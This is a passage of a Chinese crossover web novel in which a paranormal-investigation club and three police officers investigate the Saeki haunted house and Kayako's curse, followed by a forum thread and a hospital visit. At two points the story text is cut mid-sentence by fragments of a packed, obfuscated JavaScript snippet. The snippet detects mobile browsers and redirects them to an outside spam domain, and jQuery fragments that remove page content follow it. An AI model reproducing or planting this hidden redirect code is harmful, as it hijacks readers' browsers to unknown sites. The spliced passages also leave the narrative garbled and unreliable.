除了已知姓名的探灵社社长以及那位看起来并不会自己给自己起这么……时髦,对,时髦,并不会给自己起这么时髦的假名的惠子小姐之外,这个‘代号K’指的是谁,已经很明显了。 松田扫了眼亮起灯的,传说中的凶宅。 那个看起来未成年的蘑菇头,不是叫千寻么? 传说中……中二病? 不过话又说回来,夏目楠……也不是没有可能。 太阳已经落山了,再过不久,天色就会彻底黑下来。 临时基地的简易帐篷看起来大,实际四处漏风,为了接上电源,从室内拉出来的线长长一条,蜿蜒在杂草丛生的院子里。 “说起来,你们为什么要把临时基地搭在外面?” —————— “为什么搭在外面?” 千寻兴致缺缺的站在一楼的楼梯边,无意识摆弄着手腕上的铜钱。 “伊达警官觉得呢?” “总不会是防止破坏现场吧?” 伊达航说着,将手里的三脚架固定在墙角,又将带有热成像功能的摄像机好好放在上面,歪着身体正了正拍摄的方向。 他回过头,发现千寻的脸上多了一副口罩。 伊达航的脑袋顶上冒出了十分明显的问号。 “太臭了,”千寻解释了一下,他指了指和室的地面,榻榻米上有着各种陈年污渍留下的印记,长期无人清理的霉味混合着一股木材腐烂的味道,确实不太好闻,“我这里还有口罩,你要么?” 伊达航摇摇头,“不用,”他爽朗一笑,“我们经常跑一线,像这样的环境,早就习惯了,”他说着,从脚边的包里拿出第二个三脚架,“你要是实在闻不惯的话,到窗户这边来吧,这边气味小很多。” “那可真是太好了,你应该早点说的,伊达警官。” 千寻拖着脚步走到窗边。 “哈哈哈,我看你站在门口不进来,还以为你在害怕。” “哈?”千寻抬起一只手指着自己,“我?害怕?” “是啊,”伊达航正在安第二个热成像摄像,“毕竟这间和室里……” “发现过尸体。” 千寻斜了他一眼,“我不怕尸体。” 博多特产而已,他怕什么? 哦,不对,博多明面上的特产是杀手。 “哈哈哈,”伊达航装好了第二个热成像摄影机,又找了个地方架好收音,“好好好,你不怕。” 千寻:…… 可恶的警/察。 愚蠢的警/察。 “你看起来还很年轻啊,是高中生吗?在兼职?” 千寻,“你猜呢?” “那就是……” 伊达航的话没来得及说完。 ——“惠子小姐?!!” 是二楼的方向传来,喊声里充满了震惊,饱含情感。 难以置信的情感。 “研二?” 听出喊叫声是谁的声音的伊达航立刻三两步冲出和室,来到楼梯口。 —————— 吉川惠子的临时搭档是荻原研二,这样的安排让她松了口气。 毕竟荻原研二是三个人当中唯一一位看起来很和善,实际说话也很和善的警官,应该会很好相处……吧? 让我们感谢夏目先生~ 原本吉川惠子以为自己会很排斥进入这间追了他们一家十年的凶宅,可是直到她的脚踏进玄关的那一刻,吉川惠子都没有什么特别的想法。 没有害怕,没有恐惧。 硬要说的话,是那种——啊,终于要结束了——的,释然。 大概。 毕竟被追了十年,人是会疲劳的。 恐惧也会。 他们这一组负责的区域是二楼。 荻原警官是一位十分有绅士风度的男性,装着重物的包是他在提,还会很贴心的提醒惠子注意脚下——楼梯有些年久失修的样子,一直咯吱咯吱的响。 二楼的房间并不多,只有两间,也都不是很大。 吉川惠子抱着用于记录的手册,进房门后第一时间从兜里掏出了一个弹珠,来到大概是房内中心的地方,将弹珠放在了地上。 弹珠朝着一个方向滚了过去。 吉川惠子又换了几个地方,弹珠都会往壁橱那边滚。 “地面有倾斜?” 安装顺利完成的荻原研二走了过来,他的速度好快,吉川惠子有些懵逼的看了眼已经装好的对角分布的摄像机,和固定在三脚架上的辅助收音。 “好……好厉害。” “嗯?”荻原研二反应过来对方在说什么,笑了两声,“这种程度还好啦,”他凑近吉川惠子身边,压低声音,“偷偷告诉惠子小姐,我拆炸/弹比这个还快哦!” “……唉?” 荻原研二直起身,声音恢复了正常大小,“开玩笑的,吓到你了?” 吉川惠子愣了愣,小小声,“……也没有,就是有点惊讶。” 她看着对方笑眯眯的表情,抿了下嘴,转移了话题,“地面有倾斜,有很多原因……” “地基塌陷,承重柱倾斜,楼板变形……之类的?” 吉川惠子:…… “嗯。” 她深吸一口气,再次转移了话题。 “那个壁橱……” 唰—— 壁橱被打开了。 荻原研二站在壁橱旁边,转过头看她,“要这样敞开,对吗?” 吉川惠子:……啊啊啊啊啊啊啊啊! 这个人怎么什么都知道! 可恶的聪明人! “噗——” 荻原研二抬手掩住唇角,“抱歉抱歉,惠子小……” 吉川惠子的脸色变了。 明明上一秒还自顾自憋成了一只河豚,这会儿却变成了很惊恐的样子。 荻原研二不再逗人,情况有点不对,他迅速严肃下来。 吉川惠子在看他的身后。 身后有什么? 敞开的壁橱门,里面堆着一些杂物,一眼忘那个的到头。 并不是很大的壁橱。 荻原研二回过头。 壁橱内还是刚刚他打开时的样子,杂物,灰尘,除此之外没有别的东西。 他转回来,“惠子小姐,你……” “喵——” …… 猫? 吉川惠子努力克制自己不要害怕。 她还以为自己不会再害怕。 用特殊的方法每隔一年搬家一次,从那以后只有几次差点被追上的危急时刻,好在最后都有惊无险。 她找不到自己的,如果这次不是作为猎物的自己主动送上门的话。 吉川惠子一把抓在了胸前。 衣服下,是夏目先生亲手交给她的御守,只有她有,特制的,唯一一个。 吉川惠子深吸一口气。 ——我不怕你。 ——我不会再怕你。 她平静了下来。 “……惠子小姐?” 耳边传来了荻原警官的声音,很模糊。 吉川惠子看不到荻原研二,她好像来到了另一处空间,眼前是缩在壁橱里的小男孩,小男孩正抬着头看向头顶。 那里有一个洞。 “咯咯咯咯咯咯咯咯咯咯咯……” 一串奇怪的声音从那个黑漆漆的洞口里穿出来。 吉川惠子紧紧盯着洞口。 她来了。 吉川惠子曾经听到过这个声音,只有一次,在她还住在这个街区的时候,在她还只有十岁的时候。 这次不会再有产屋敷家的剑士突然出现了。 “喵——” 吉川惠子的余光看到一只猫,猫徘徊在自己脚边,想要接触,却接触不到。 猫变成了一个浑身苍白的小男孩,小男孩张大嘴,发出了一声凄厉的猫叫声。 吉川惠子突然有些想笑。 “不过如此。” 夏目先生随手做的御守就能让它们不敢碰自己。 曾经被吓到失语,很长一段时间都拒绝和人交流的小女孩长大了。 再次看到这副画面,她已经可以自如的说话了。 “你们也不过如此。” 吉川惠子突然上前一步。 “十年,我的父母,为了保护我,在恐惧中,不停的搬家……” 吉川惠子迈出第二步。 “……我的祖父母,只因为在那之后照顾过我一段时间,就被你们害死了……” 吉川惠子走到了壁橱边。 黑洞洞的洞口内伸出一条惨白的胳膊,散乱如水藻般的头发活物一样从洞内延伸出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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壁橱内乱七八糟,里面的杂物许多都掉了出来,伊达航注意到壁橱内上方的洞,“那是……” “原本是没有的,在惠子小姐……之后,忽然出现的。” 伊达航看向脸色不对的荻原研二,重复道,“忽然出现?” “对,忽然出现。” 伊达航张了张嘴,他看看那个洞口,又看看荻原研二,最终还是没说什么。 他的腰间,对讲机里传出松田阵平断断续续的说话声。 “你……惠子小姐带……滋滋……班……滋……hagi把人……” 伊达航拿起对讲,“信号出问题了?” 对讲机再次响起,这次的声音很清晰。 “麻烦荻原警官,将惠子带出来,伊达警官,由你们这组接手二楼的设备安装,包括新出现的阁楼,或者叫它夹层,可以吗?” 是夏目楠的声音。 伊达航看了一眼荻原研二,对方点了点头,将脱力的吉川惠子一把抱了起来。 “好的,研二马上下去。” —————— 时间往回推那么一点点。 夏楠不怎么喜欢说废话,也不怎么喜欢做多余的事。 除非有趣。 咒怨,一个家喻户晓的恐怖招牌,无数人的童年阴影。放在自己那个世界,对许多人来说,如果要提到恐怖影视作品,伽椰子楚人美贞子,这三位恐怖片大佬的地位无鬼能够撼动。 阴影,全都是阴影。 躲进被窝里也逃不掉的阴影。 只可惜建国以后不准成精,妖魔鬼怪都要先学习科学发展观,楚人美无奈后继无力。反观海对岸,齐名的两位子倒是多年如一日,混的风生水起,续作层出不穷。 惠子身上的诅咒居然出自咒怨,这是夏楠没想到的。 真没想到。 好弱一诅咒。 弱到他完全可以做到直接掐了的程度。 就很迷,说好的一姐呢? 好奇心一起来,压都压不住。 好吧,夏楠也没打算压。 原本的拍视频引流量造招牌提价等等等等的操作只是实在无聊下硬给自己找的事情,送上门的伽椰子却成了实实在在的意外之喜。 让我们一起感谢惠子。 这员工招的可真值啊—— 不愧是我。 夏楠摩拳霍霍的要大干一场。 虽然外表上看不怎么出来吧。 ——当代林正英要来了谢谢,勘定风水驱邪降魔无所不通,拳打恶灵脚踢咒怨舍我其谁? ——挡路的通通都给爷闪开~ 他来啦! 但是正主不在家。 不,在,家。 夏楠:微笑。 支使儿子跑我家门口乱叫却避开我,我上门踢馆又不在家? 你这样我很难做啊,伽姐。 佐伯宅内的怨与咒非常的复杂,除了老大伽椰子庞大的力量以外,还有许多许多被她吞噬的人死后化作的怨,多年常驻都市传说积累的念,混在一起,你中有我,我中有你。 作为主控的伽椰子不在家,剩下的比较强的就是佐伯刚雄之流了。 山中无老虎,连你也能称霸王了(那种语气)。 松田阵平被这栋房子里其它的东西影响,其中很大一部分就是佐伯杨雄的戾与怨。 荻原研二和伊达航也有受到一点其它的影响,但并不太多,作为正经警察身上自带的正气足可以护住他们,暂时。 那么,问题来了——为什么是松田阵平呢? 同样作为童年回忆一员的正向白月光代表人物,好歹也是曾登顶读者票选最受欢迎男角色的人,区区佐伯刚雄? 这不对呀。 夏楠是个喜欢给自己留悬念的人。 ——松田阵平再来这里之前必定遇到过什么。 遇到过什么呢? 答案已经来了。 院墙外出现了一个穿着病号服的小女孩,十一二岁的样子,站在树荫里,正对着这边。 昏暗的光线下看不清表情。 察觉到气息的夏楠仰头看见这一幕,立刻摸出摄像,对准了她。 “来,小可爱,对着镜头,Say Hi~” 原来如此。 是转世之后的世界线。 说起来,转世之后的世界线里,这栋房子还在吗?不是被人烧了吗? 惠子沾染到诅咒是十年前,据她所说,她并没有进入房子,只是察觉到危险,想要逃离。 正是想要逃离这个举动,成了他们立刻被找上门索命的催化符。 由惠子一家的经历可以判定,凶宅的诅咒范围早就从佐伯家这一间房子扩散到了周围。 就像人类需要进食一样,这类诅咒也是要吃饭的。 8. 八 就像人类需要进食一样,伽椰子这样的存在当然也需要进食。 成长的本能使它渴望猛猛吃,敞开肚皮吃。 然而只是守株待兔,小鱼干又实在太少了。 不够吃怎么办? 她扩大了领地。 十年前的惠子遭遇的就是伽椰子本尊。十年中不断逃命也是伽椰子的杰作。 可伽椰子已经转世,转世的她看起来怎么着也有十岁了,这是把自己劈成两半了,还是只是套了个人类的壳子? 房子如今也安安稳稳的立在这里,甚至成为了一个养蛊场一样的地方。 什么?转世是因为渴望重新当人,获得幸福生活? 怎么可能。 肆意散播诅咒,大吃特吃才是它的目的。 物种都换了,还要用人类的框架去框它,多少有点冒昧吧。 转世或许会带来一部分表面化的人性。 只是骗局而已。 伽椰子在成为咒怨的那一刻或许还能被称为伽椰子,但在她不断的吞噬成长以后,伽椰子,也就仅仅只是个代号了。 那是一个拥有一定自主意识的致命病毒。 啊……说起来,现在的话,难道是if线? 夏楠摸了摸下巴。 这里人为的痕迹很明显啊……又综了什么?阴阳师?妖怪? 夏目楠想到了自己目前的姓氏。 该不会是夏目友人帐吧。 除妖师? 圈禁,养蛊,等它们决出最厉害的一个,再收服? 不是没可能。 看起来,干活的人对自己的手艺不太自信的样子,明明已经对佐伯宅下了结界,却还是将周围的房子都清空了。 有官方背景?还是自己租下来的? 权利和财力,多少得占一个。 警方好像不知情的样子…… 下结界的人知道伽椰子已经转世成功了么? 这个结界她可以来去自如啊……是手艺不精,还是刻意为之? 夏目楠从椅子上翻了起来。 病号服小女孩已经不见了。 夏目楠看向了佐伯宅。 回来了么。 从自己手里跑了十年的猎物主动来到自己的地盘,就这么急迫么? …… 磁场的读数变了。 一般普通居民住宅的磁场辐射数值范围在0.05到0.5微特之间,佐伯宅的基础数值是0.37左右,看似在安全范围内。但实际上,佐伯宅院子里的数值为0.07-0.21不等,越靠近房子,磁场辐射的读数就会越高。 目前佐伯宅内已经架设好设备的地方有四处,一楼的和室和厨餐厅,二楼的一间卧室与走廊。 读数产生变化的是二楼的卧室,目前,数据的峰值已经突破了0.4。 眼见情况有变,松田阵平拿起对讲机,试图联系正在房间里的两人,然而两人都没什么反应。 “……坏了?”松田阵平拍了拍对讲。 此时,监控屏幕内出现了一连串的雪花点,像是信号接收不良。 “放大声音。” 突然出现的说话声吓了松田阵平一跳,他回过头,看到夏楠正举着个摄像,对着监控屏幕拍。 松田阵平下意识看了眼不远处的椅子——已经空了。 什么时候过来的? 是他太专注,所以没注意到吗? 织田作之助已经放大了画面内的声音。 夏楠挤进两人中间,从桌面上拿起耳机带好,“切热成像。” 织田作熟练的操作。 夏楠买的许多设备都是二手的不假,但他也没凑合,基础的远程操控功能自然也是有的。 松田阵平的注意力转回了监控画面。 织田作之助顺手将吉川惠子他们目前所在的房间的画面放大了。 雪花点不见了,信号似乎重新恢复了健康。 …… 耳机里传来了一声猫叫。 夏楠的嘴角扬了起来。 松田阵平正十分自然的凑在耳机的一边旁听,织田作之助想了想,凑到了另一边。 灯光在闪烁。 热成像的画面里,原本还有一点点暖色的墙体,地面,正在以一种匪夷所思的速度变暗,特别是那个壁橱。 “她在看什么?” 松田阵平不禁发出疑问。 ……壁橱里有什么? 正常拍摄的画面里完全看不出端倪,但在热成像的视界里,壁橱附近的温度已经来到了一个十分诡异的数字。一个在现在这个季节,在这里,没有外力的影响绝对不可能达到的数字。 屏幕内,荻原研二在疑惑的喊了吉川惠子以后,对方仿佛看不到他一样,没有任何回应,直愣愣的走向了壁橱。 荻原研二紧急避让了一下。 这种既视感。 松田阵平:“……我之前也是这样?” “嘘——” 夏楠看着屏幕,嘘了他一声。 松田阵平:…… 夏楠的手中依旧举着那个摄像,他倒是很敬业,一直没忘了收集素材。 “看这里,”夏楠伸出一根手指,点了点吉川惠子的脚边,“看到了吗?” 正常的画面里什么东西都没有,但在另一边,吉川惠子正在一点一点被暗色吞噬的脚踝旁边,有一团影子。 那团影子,像是…… “……人?” 这个体型,小孩? 耳机里传出绮凄厉的猫叫声,穿透力极强,凑近一起听的松田阵平被震的离远了一些,他下意识偏过头,看到了夏楠高高扬起的嘴角。 面对如此匪夷所思的画面,这家伙,居然还笑的出来?! “来了。” 什么来了? “佐伯家名物,伽椰子。” 夏楠紧紧盯着画面,很传统的出场方式啊,从阁楼爬下来,名场面哎。 记录记录,这可是难得的现场版。 织田作之助看了眼夏楠。 猫叫并没有对他达成劝退效果,他依旧保持着一个耳朵靠在耳机旁边的动作。 ——这个表情,和之前在他的工位上倒完强力胶之后躲在一边暗中观察他的反应时的表情,一模一样。 “咯咯咯咯咯咯咯咯咯咯咯咯——” 一连串仿佛喉咙漏气的咯咯声从耳机内传来,重新凑了回来的松田阵平看到,一只冒着黑气的触手一样的东西,自壁橱顶部伸向了站在壁橱边的吉川惠子。 明明正常的画面里什么都没有。 吉川惠子在说话,荻原研二一脸惊疑的站在她旁边,犹豫着要不要把人先打晕——很明显,他以为吉川惠子身上发生了和之前的松田阵平类似的情况。 松田阵平已经重新拿起了对讲,“hagi,听的到我说话吗?” “hagi!” “嘘!” 夏楠不满的斜了一眼松田阵平。 松田阵平懒得计较,热成像那边的情况看起来真的很糟糕了,吉川惠子身上仿佛缠了什么东西一样,还有那个几乎就要伸到吉川惠子眼前的触手一样的不知名物体。 那究竟是什么?!! 不,现在不是说这些的时候。 hagi身上目前看起来没什么影响…… ——不管怎么样,得先把他们俩个弄出来! 松田阵平干脆的放下完全派不上用场的对讲,转身就要往佐伯宅里冲。 夏楠开口,“织田,拦住他。” 话音刚落,织田作之助几乎一秒启动,在松田阵平还没反应过来的时候一个下蹲,腿鞭扫到他的脚踝。松田阵平瞬间失去平衡,但他也不是吃素的,立刻调整平衡原地一个翻滚,重新站了起来。 “你干什……” 话还没说完,织田作之助再次上前,松田阵平被迫接招,不过短短几个呼吸,两人已经打了数个来回。 挂心友人的松田阵平没功夫在这里耽搁,只想将人甩开,出手多是推拒;目的是拦住人的织田作之助也没尽全力,只是巧妙的把人重新逼回了临时基地。 发现自己离宅子越来越远的松田阵平:…… “我说你们……” “啊,走了。” 是夏楠的声音。 几乎是同时,松田阵平听到房子二楼轰隆的响动,紧接着,是荻原研二喊人的声音。 松田阵平的动作一顿,他的视线再次看向监控屏幕,在那里面,什么黑色的触手,什么奇怪的人影,什么诡异的温度分布,上下蹦极的磁场监测数据,都在重新归于平稳。 正常的画面里,吉川惠子不知何时软倒在地上,荻原研二正在搀扶她。 对讲响起匹配成功的提示音,好像又能用了。 松田阵平反应极快的一下扑到桌边,拿起对讲,“hagi?听得到吗?” 伊达航也出现在了画面里,应该是在一楼听到动静赶过去的。 刚刚到底发生了什么? 失去对手的织田作之助重新回到了夏楠身边。 他看了眼屏幕,问道,“吉川小姐没问题么?” “惠子可是很厉害的,小织田,”夏楠的声音轻飘飘的响起,“她不会有事的。” 小织田? 换作是其他人,忽然被这么叫多少都会吐槽两句,但织田作之助不会。 他只是平静的接受了自己又多了一个昵称的现实。 “这样啊。”织田作之助说道。 既然社长都说没问题了,那就没事了。 说话间,不知道什么时候,夏楠的视线已经离开了监控屏幕,他正将镜头对准院门的方向。 织田作之助顺着夏楠看的方向看了过去。 是一个小女孩。 一身病号服,毫无声息的出现,正安静的站在院门外,满脸阴森的盯着二楼亮着灯的窗口的方向。 注意到他们的视线,小女孩看了过来,紧接着,消失了。 “那是什么?”织田问道。 突然出现,感知不到,小孩子,病号服。 已经有了一些相关经验的织田作之助十分自觉的将对方开除出了人籍。 “是伽椰子哦。” 夏楠满意的暂停录像,转过身,从松田阵平手里拿过对讲。 真奇怪,明明刚刚还断断续续一副信号接收故障模样的对讲机,一到夏楠手中,瞬间奇迹般的恢复了正常。 “……麻烦二位了。”夏楠说道。 二楼的灯不再闪烁,已经重新恢复了正常,hagi看起来也没什么问题。 松田阵平终于松了口气。 他跟着脚步轻快的夏楠走向佐伯宅正门的方向,身上黏黏的感觉让松田阵平有些不适,他抬手抹了一下额头,一手的汗。 —————— 荻原研二抱着脱力的吉川惠子下楼时,遇到了站在楼梯口举着摄像对准他们的千寻,对方满不在乎的态度让荻原研二有些恼火。 心头火起,却又不得不忍住。 惠子小姐的情况很不好,她需要治疗。 没必要在这里耽误时间。 荻原研二越过千寻,大步往门口走去。 “一个忠告,最好别想着把吉川送去医院,”千寻在他身后说道,他没去凑刚才的热闹,问就是从心,“对吉川来说,现在最安全的地方,就是我们社长身边。” “只有我们社长身边。” 荻原研二脚步一顿,他再次想起了刚才那一连串匪夷所思的发展。 不,应该说,从进入这里以后,发生的一切都很诡异。 磁场影响了脑子? 去他的磁场影响脑子! —————— “hagi,怎么样?” 松田阵平在荻原研二出来的瞬间就迎了上去。 荻原研二摇了摇头,鬼使神差的,他自己也不知道为什么,或许他知道,只是内心依旧在挣扎。 总之,他将吉川惠子抱到了站在不远处的夏目楠面前。 “她的情况很不好,你……”荻原研二不说话了。 吉川惠子动了动。 夏目楠正凑近看吉川惠子的脸,对方的眼睛半阖着,眼底有很明显的青灰,正小口小口的喘着气。 似乎是察觉到靠近自己的人是谁,吉川惠子努力张开眼皮,虚虚的开口,“夏目先生……” “嗯,我在。” “夏目先生……”吉川惠子的声音里慢慢带上了浓重的鼻音,“我做到了,夏目先生……” 保持理智,不要退缩,不要恐惧。 她做到了。 “我抓住她了,我还揍了她一拳,”惠子的哭腔几乎要掩盖不住了,“夏目先生,我揍了她一拳……” 十年,十年啊…… 爷爷,奶奶,由理,幸助,安娜老师,原和警官…… 那些试图帮助他们的人,那些无辜惨死的人。 十年,十年! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588860|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯,我看到了。” 夏楠伸出手,摸了摸吉川惠子的脑袋,他的脸上带着愉悦的笑,语气却是轻柔的,“我们惠子很厉害呢,从一开始我就知道。” ——是天生善于隐藏真实的自己么,本能? ——你的前世,究竟都干了些什么? 脑袋上温暖的触感驱散了许多身体内的寒冷,吉川惠子的眼泪止不住的涌了出来,她抽抽搭搭的,一时间哭的快要闭过气去。 夏楠:…… 他收回手,指了指自己之前坐的折叠椅,这种椅子放平些还能当躺椅,十分好用。 “把她放到那边去吧,”夏楠看了看满脸凝重与纠结的荻原研二,笑着说,“不要担心,一切都会有科学的解释。” 一边的松田阵平:…… 什么科学?解释什么? 那种糊弄人的解释吗?磁场影响了大脑? 谢谢,免了。 —————— 夏楠在忙。 他不知道从哪里找出一只粉色的马克笔,正在织田作的辅助下,往昏睡的吉川惠子僵硬且泛着青灰的胳膊上画一些除了他在场没人能看懂的图案……或者符号? “为什么是粉色?”织田作之助忽然问道。 “唔?”夏楠细致的勾勒复文,很久没画了,有些手生,“看到粉色,你会想到什么?” 织田作一愣。 粉色,他的生活中很少会出现这样娇嫩的颜色,如果硬要说的话,“……樱花?” “这就是答案。” 织田作又是一愣。 他看向吉川惠子的手,初看像是冻伤,又像是失血过多,神经已经坏死的样子,这种情况,放到医院也不会有太大改善,甚至很有可能会得到截肢的建议。但在这里,在一串他看不懂的粉色字符的作用下,吉川惠子的手正在逐渐恢复,青灰褪去,健康的胳膊慢慢回来了。 樱花。 柔软,美好。 夏目曾在之前的一次调查中提到过意象,提到过念力。 正面的,负面的。 樱花,是正面。 “我明白了。” 织田作之助的嘴角微微上扬,脸部表情柔和了一些。 原来如此,他好像有一点理解了。 “啊,”夏楠忽然抬头补充了一句,“只针对这种情况,我可不是什么神医,非此类因果救不了一点,不要误会哈。” 真冻伤烧伤断胳膊断腿来找他也没用。 织田作之助笑了一声,“我知道了。” …… “阁楼里面什么都没有,除了一些虫子的尸体,看起来应该是自然死亡,”说话的是伊达航,这位任劳任怨的警官先生和复返的荻原研二一起完成了所有设备的架设和安装工作,还十分细心的做了水平测试和房屋数据记录,“我们在阁楼那里留了一个手电筒照明,”挂在房梁上,权当灯泡了,“在最初的案件之后,这栋房子又有过几任主人,阁楼那里的建材应该是后来换过的。” 警察三人组正围在简易搭起来的基地里那一排三个的显示器旁边,目前,佐伯家室内一切正常。 伊达航与荻原研二很英武的在发生了这么多事以后依旧毫无畏惧的从那个突然冒出来的洞口爬进了阁楼,并对里面展开了地毯式的搜索,连虫子尸体都没放过,可想而知有多细致。 好在吉川小姐看上去好转了许多。 说了一堆有的没的的话,伊达航突然话锋一转,“夏目先生,我们需要真相。” 一边,安装阶段全程划水,出来之后又一直对着电脑点点点的千寻突然举起了手,“在那之前,或许你们会想听听这个?” 他说着,打开了笔电的公放功能。 ——“……插播一条社会新闻,练马区竹##医院发生一起坠楼事件,死者据了解为一名在职巡警,于下午三点因车祸入院,经抢救后脱离危险。晚七点四十九分,本应在病床上的他不知为何坠楼身亡,练马县交番发言人称,事件还在进一步调查中……” 练马区竹##医院,下午三点,车祸。 如此明显的关键词。 三名警察的脸色变的很难看。 伊达航说了据抱歉,走到一边打起了电话,看样子是在确认情况。 夏楠终于画完了符,将记号笔随手揣进了……织田作之助的兜里,他看了眼旁边氛围略凝固的众人,接着看向千寻。 “查到了?” “当然,”千寻将怀里的电脑转了个方向,对着夏楠,他坐着从房子里搬出来的椅子,“是她吗?” 屏幕上是一张证件照,里面的女孩看起来比之前见到的要小一些。 但的确是她。 “芙季绘,因身患‘寄生瘤’住院,母亲在她住院期间被自己妹妹的死刺激,精神疾复发,产生幻觉,于是带着芙季绘一起跳楼。母亲当场身亡,芙季绘侥幸存活,只是成为了植物人。” “哦,有好心人一直资助在芙季绘的疗养费用,虽然只是最低限度的维生,三年下来也有不少花销了呢。” “资助的人是谁?” “我不知道啊,网上没有。”千寻看了一眼夏楠。 夏楠:…… 哦,对,警察还在。 他们两人的对话引起松田阵平和荻原研二的注意,两人的视线自然而然的集中到了千寻的笔电上。 千寻很上道的将屏幕又转了转,让他们也能看清。 松田阵平看着电脑上的照片,一愣,“她……” “见过?” 夏楠看向他。 “对,”松田阵平皱眉,“本来想在这边先调查一下情况,就早到了一会儿……” 其实不是一会儿,他和荻原研二,实际上早上十点多就过来了。那个时候上面的调查许可还没批下来,他们两个实在好奇,加上又是班长第一个抓到手里的大案,行动力超强的两人干脆直接过来了。 热心市民也不是不行,不如说,他们还是熟练工。 荻原研二这时也想起来了,“这就是你说的那个小姑娘?你送回医院的那个?” 时间有限,他们两个原本分头行动,一个去附近交番看看能不能借阅资料,一个去附近图书馆查阅本地的旧报纸。 “我看她一个人待在交番里,值班的人走不开,就拜托我帮忙把她送回医院……” 小姑娘的病服上有医院的名字,只是一直一言不发,给医院打电话也一直打不通。 松田阵平想着路也不远,就送了。 9. 九 【关于探灵社新发的预告动态】 【1L:RT,我想这个板块里应该没什么人不知道探灵社了吧,毕竟这段时间他们一直很活跃。】 【也没别的,就是纯好奇想问问,有人知道这次他们的目标在哪里吗?】 【2L:不止活跃,还很帅,就硬帅,讲道理在那些装神弄鬼的家伙中间,探灵社真的是一股清流,看他们的视频,不会有自己的智商在遭受非人对待的憋屈感】 【3L:哈哈哈,排一下楼上,甚至还能涨知识,而且他们是真的在解决问题】 【4L:横滨有名的凶宅都被他们刷了个遍,难道还有我们不知道的地方吗?】 【7L:没了吧,毕竟他们是直接和房产商合作的,哪里的房子有问题他们比我们清楚】 【12L:蹲更新,就爱看科学大战厉鬼】 …… 【17L:说起来那个公寓的事,你们还记得吗?】 【18L:哦,你说那个啊】 【19L:就是他们第一个视频发的那个,本来定为自杀的那个】 【20L:不是已经实锤是卧底警察身份暴露被歹徒入室杀害了吗?怎么,难道还有反转?】 【22L:倒也说不上反转,就是有一点点内部消息……】 【23L:什么消息?快说快说!】 【27L:人呢?】 …… 【42L:抱歉抱歉,刚刚有些事离开了一会儿,我长话短说】 【探灵社的人不是戳破了那个凶宅传闻吗,还在墙里发现了死者留下来的东西】 【45L:你回来了啊,还以为又是一个搞人心态的家伙】 【46L:警察的入职宣言,还有樱花,说起来,要不是探灵社,那位警察遗留下来的东西估计还要很久才会被发现】 【49L:据说之后住进去的人都被调查了呢,说是有可能是歹徒的同伙,什么的】 【50L:为什么啊?】 【51L(回复50L):歹徒丢东西了啊,人杀了东西却没找到,又回去找了呗】 【55L:实在抱歉,最近太忙了,说到哪了……】 【对,证物,当时探灵社的社长主张直接联系军警真的是很正确的决定,但是还是很可惜,证物移交公安的过程中被掉包了】 【56L:……】 【57L:啊???】 【59L:……这个消息,保真吗?】 【62L:千真万确!现在军警和市厅的人吵的不可开交,讲道理,明眼人都能看出来消息到底是哪方泄露的】 【63L:哪方,不是军警就是公安,这事还和市厅有关系?】 【70L:我说诸位聊天的时候能不能用个代指,你们这样我很慌啊,这帖子怕不是得没】 【74L:哈哈哈楼主无人在意】 【75L(回复74L):习惯了,沧桑点烟jpg】 …… 【96L:我要说的不是这个!】 【不知道咱们楼里有没有认识探灵社里工作人员的人?请转告他们最近一定要小心!】 【100L:什么情况??】 【101L:发散一下,敌……敌在我?】 【102L:别问号了,目前看起来,是敌铁在我】 【107L:什么意思,我的快乐源泉要没了?】 【108L:就因为那个证物?不是吧,这和探灵社有什么关系?不是早就交给官方了吗?】 …… 【125L:我有朋友就住在探灵社附近,刚刚问了一下,他们昨天就已经离开横滨了,我朋友还偷偷照了照片呢,应该是去预告里的那个凶宅了,估计得去好几天】 【顺带一提,我老大真好看(舔)】 【126L:那就好,军警已经委托武装侦探社协助调查了,只要他们最近几天不要回横滨,应该没什么问题】 【127L:楼上你……该不会就是……】 【131L(回复125L):什么好看?什么照片?!细说好看!】 【132L:老大又是谁?】 【135L(回复132L):就是探灵社社长的爱称,隔壁灌水区应援帖都建起来了】 【137L:真的假的……我去看看】 —————— 练马区竹##医院,住院部402室。 松田阵平的脸上写满了——我之前送到医院的到底是什么?——这行字。 病床上,芙季绘正躺在那里,无知无觉的样子。陪同探视的护士看到松田阵平莫测的表情,十分公式化的安慰了两句。 此时此刻,夏楠正站在病床边,弯下腰仔细看着女孩儿的脸。 只是前来求证,不需要太多人同行。佐伯家还需要人守着,作为行动队长的伊达航不好离开,干脆就由当事人松田阵平和夏楠一块儿过来了。 这边的住院部其实很多病人,但芙季绘所在的病房附近却相当安静,明明是三人间的病房,只躺了她一个病人。 “这里发生过什么事么?” “什……什么?”护士被问的愣了一下。 夏楠直起腰,“请问你照顾她多久了?一个月?” 护士迟疑的看了看夏楠,又看向松田阵平,“你们……” “看来没有一个月,”夏楠并没有看他,而是一把拉开了芙季绘身上盖着的薄毯,“在你之前照顾她的人呢?你认识吗?她去了哪里?” “你在干什么?!”护士试图上前阻止夏楠的动作,却被松田阵平巧妙的挡住了前进的路线。 夏楠已经拉起了芙季绘的袖口。 “哦……” 夏楠歪了下头,他拉起芙季绘的手臂,冲着护士示意,“这什么东西?” 护士脸色不是很好,语气有些生硬的回答,“是资助患者的好心人为她带上的,据说有祈福的效果。” “脖子上的也是?” 这白绳子挂纸条的结构,夏楠不是很认识。 “应该是……”护士皱着眉,“这位先生,请你放开患者。” 夏楠很听话的放开了抓着芙季绘手臂的手,他看向松田阵平,“有什么想法么?”他抬了抬下巴,示意被松田阵平故意挡在身后的护士。 松田阵平看了眼护士,说道,“头发。” 头发? 夏楠看了眼护士的发型,齐刘海,披肩发。 看来是发型有问题——这是夏楠的知识盲区。 虽然和自己预设的答案不一样,但结论一致。 夏楠笑了笑。 “之前忘了问,你在送伽椰子回来的时候,是不是收了她什么东西?” 